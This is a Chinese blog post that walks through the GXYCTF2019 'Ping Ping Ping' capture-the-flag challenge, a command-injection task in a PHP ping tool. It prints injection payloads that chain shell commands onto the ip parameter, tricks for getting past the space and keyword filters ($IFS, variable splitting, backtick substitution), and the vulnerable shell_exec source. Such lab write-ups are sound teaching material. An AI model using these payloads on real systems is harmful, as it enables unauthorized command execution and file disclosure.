首页 > 其他分享 >[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping

时间:2023-07-18 11:47:39浏览次数:54  
标签:IFS 0.1 ip Ping flag GXYCTF2019 match

[GXYCTF2019]Ping Ping Ping

题目来源:buuctf

题目类型:web

涉及考点:命令执行

1. 题目页面如下:

我们将其作为参数传入,/?ip=127.0.0.1,回显如下:

接下来通过命令行查看目录:/?ip=127.0.0.1;ls

2. 发现了flag.php,直接查看

/?ip=127.0.0.1;cat flag.php

发现空格被过滤了,我们采取以下几种常见的绕过方法:

$IFS
${IFS}
$IFS$1		//1可以换成任意数字
<
<>

绕过空格之后发现flag也被过滤了:

还是查看一下index.php,看看有什么线索:

/?ip=127.0.0.1;cat$IFS$1index.php

可以看到一连串的过滤规则

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
      //过滤 & / ? * < x{00}到x{20} > ' " \ ( ) [ ] { }
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
      //过滤 空格
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
      //过滤 bash
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
      //过滤 flag(严格来说,是字符串中,flag依序出现的都被过滤)
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

3. 接下来尝试绕过

法一:

思路是通过变量覆盖来实现,具体做法:

将 flag 中的 g 赋值给变量 a,在命令行中用 fla$a 来表示 flag,构造的payload如下:

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

F12检查发现了flag:

法二:

通过内联执行,让 ls 作为cat的参数传入,即可绕过flag:

/?ip=127.0.0.1;cat$IFS$1`ls`

同样在源码中看到flag:

内联执行:即一个命令的结果作为另一个命令的参数使用

flag{0e459f07-aff4-4d6a-bea9-115e1309b55e}

日期:2023.7.18

作者:y0Zero

标签:IFS,0.1,ip,Ping,flag,GXYCTF2019,match
From: https://www.cnblogs.com/bkofyZ/p/17562420.html

相关文章

  • CodeForces 1848E Vika and Stone Skipping
    洛谷传送门CF传送门感觉比这场的F简单。发现我们要进行\(x\)不断乘一些数然后求答案的操作,猜测答案与\(x\)的因数有关。如果你对数字比较敏感,不难发现答案就是\(x\)的奇因子个数。官方题解的证明:设\(x=f+(f-1)+\cdots+(f-(c-1))\),由等差数列求和公......
  • ElasticSearch-Mapping类型映射-增删改查
    https://www.elastic.co/guide/en/elasticsearch/reference/6.8/mapping.html7.x版本后默认都是_doc类型增加Mapping映射先说一个特殊的字段_all:https://www.elastic.co/guide/en/elasticsearch/reference/6.8/mapping-all-field.html#mapping-all-field_all字段是一个特......
  • Sping JdbcTemplate
    SpingJdbcTemplateJdbcTemplate概述JdbcTemplate是SpringJDBC核心包(core)中的核心类,它可以通过配置文件、注解、Java配置类等形式获取数据库的相关信息,实现了对JDBC开发过程中的驱动加载、连接的开启和关闭、SQL语句的创建与执行、异常处理、事务处理、数据类型转换等操......
  • ping 应用
    Windowsping无法使用一般是电脑的环境变量出了问题。PING.EXE一般存放在"C:\Windows\System32",只要在Path里添加这条路径即可。高级系统设置->高级->环境变量->系统变量......
  • 早停法-Early stopping
    早停法(Earlystopping)在训练时我们会发现,并不是随着训练次数的越多训练效果越好,过度训练甚至会导致准确率的下降。所以我们需要在合适的时候选择停止,提前终止训练,保证模型的性能最好。实现方式:使用测试集(验证集)做模型参数选择;监测测试的表现;在准确率到达最高点时停止训......
  • Oracle EBS - How Are Shipping Dates Calculated? (Doc ID 1076040.1)
    OracleShippingExecution-Version11.5.10.2to12.2.10[Release11.5.10to12.2]Informationinthisdocumentappliestoanyplatform.<br* ***GOALHowdoesE-BusinessSuite(EBS)derivetheMaterialTransactionDate?WhatisthepurposeoftheIniti......
  • Stream - Collectors.groupingBy实现分组后,且每个分组也进行排序
    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 Stream-实现分组后,且每个分组也进行排序前言一、groupingBy高级用法二、先分组,再排序总结 前言之前记录过:stream的三个常用方式(toMap,groupingBy,findFirst)。这里继续记录下groupingBy的几个高......
  • centos7ping不通主机却能够上网时的问题解决方案
       ......
  • 确定性上下无关文法(DCFL)的 Pumping Lemma
    ......
  • nf_conntrack: table full, dropping packet
    参考:linux路由跟踪表满错误nf_conntrack:tablefull,droppingpacket原理解决方法说明ping,dmesg或者/var/log/messages日志中这个报错,说明服务器网络方面遇到了瓶颈。此时查看cat/proc/sys/net/netfilter/nf_conntrack_max和cat/proc/sys/net/netfilter/nf_conntra......